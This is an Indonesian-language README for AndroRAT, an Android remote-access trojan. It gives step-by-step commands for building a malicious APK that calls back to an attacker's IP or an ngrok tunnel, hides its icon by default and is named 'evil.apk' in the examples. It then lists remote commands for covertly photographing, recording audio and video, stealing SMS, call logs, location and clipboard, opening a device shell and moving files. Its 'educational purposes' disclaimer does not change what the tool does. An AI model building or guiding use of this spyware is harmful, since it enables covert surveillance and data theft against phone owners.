Penafian : Perangkat lunak ini dimaksudkan untuk tujuan pendidikan saja. Saya tidak bertanggung jawab atas penggunaan aplikasi yang berbahaya.
AndroRAT adalah alat yang dirancang untuk memberikan kendali sistem android dari jarak jauh dan mengambil informasi darinya. Androrat adalah aplikasi klien/server yang dikembangkan di Java Android untuk sisi klien dan Servernya menggunakan Python.
AndroRAT juga berfungsi di Android 10 (Q) tetapi beberapa perintah penerjemah tidak stabil.
AndroRAT membutuhkan Python3 dan JAVA (atau Android Studio)
git clone https://github.com/karma9874/AndroRAT.git
cd AndroRAT
pip install -r requirements.txt
Saat mengkloning repositori menggunakan Git bash di Windows, Anda mungkin mendapatkan kesalahan berikut:
kesalahan: tidak dapat membuat file <nama file>: Nama file terlalu panjang
Ini karena Git memiliki batasan 4096 karakter untuk sebuah nama file, kecuali di Windows ketika Git dikompilasi dengan msys. Ini menggunakan versi Windows API yang lebih lama dan ada batas 260 karakter untuk nama file.
Anda dapat menghindari ini dengan menyetel core.longpaths
ke true
.
git config --system core.longpaths benar
Anda harus menjalankan Git bash dengan hak administrator.
*#*#1337#*#*
(Untuk saat ini hanya memiliki dua opsi Restart Activity
dan Uninstall
)Catatan: Untuk menggunakan fitur ini di beberapa perangkat, Anda perlu mengaktifkan opsi
display pop-up windows running in background
dari pengaturan.
--build
- untuk membuat apk android--ngrok
- untuk menggunakan terowongan ngrok (melalui internet)--shell
- mendapatkan shell interaktif perangkatbuild
Usage:
python3 androRAT.py --build --ngrok [flags]
Flags:
-p, --port Attacker port number (optional by default its set to 8000)
-o, --output Name for the apk file (optional by default its set to "karma.apk")
-icon, --icon Visible icon after installing apk (by default set to hidden)
Usage:
python3 androRAT.py --build [flags]
Flags:
-i, --ip Attacker IP address (required)
-p, --port Attacker port number (required)
-o, --output Name for the apk file (optional)
-icon, --icon Visible icon after installing apk (by default set to hidden)
Atau Anda dapat membuat apk secara manual dengan mengimpor folder Android Code ke Android Studio dan mengubah alamat IP dan nomor port di file config.java dan kemudian Anda dapat membuat apk yang ditandatangani dari Android Studio -> Build -> Generate Signed APK(s)
shell
Usage:
python3 androRAT.py --shell [flags]
Flags:
-i, --ip Listner IP address
-p, --port Listner port number
Setelah menjalankan mode shell
Anda akan mendapatkan penerjemah perangkat
Perintah yang dapat dijalankan pada penerjemah
deviceInfo --> returns basic info of the device
camList --> returns cameraID
takepic [cameraID] --> Takes picture from camera
startVideo [cameraID] --> starts recording the video
stopVideo --> stop recording the video and return the video file
startAudio --> starts recording the audio
stopAudio --> stop recording the audio
getSMS [inbox|sent] --> returns inbox sms or sent sms in a file
getCallLogs --> returns call logs in a file
shell --> starts a sh shell of the device
vibrate [number_of_times] --> vibrate the device number of time
getLocation --> return the current location of the device
getIP --> returns the ip of the device
getSimDetails --> returns the details of all sim of the device
clear --> clears the screen
getClipData --> return the current saved text from the clipboard
getMACAddress --> returns the mac address of the device
exit --> exit the interpreter
Di shell sh ada beberapa sub perintah
get [full_file_path] --> donwloads the file to the local machine (file size upto 15mb)
put [filename] --> uploads the file to the android device
Untuk membangun apk menggunakan ngrok yang juga akan mengatur listner: python3 androRAT.py --build --ngrok -o evil.apk
Untuk membangun apk menggunakan ip dan port yang diinginkan: python3 androRAT.py --build -i 192.169.xx -p 8000 -o evil.apk
Untuk mendapatkan juru bahasa: python3 androRAT.py --shell -i 0.0.0.0 -p 8000
AndroRAT dilisensikan di bawah lisensi MIT, lihat LISENSI untuk informasi lebih lanjut.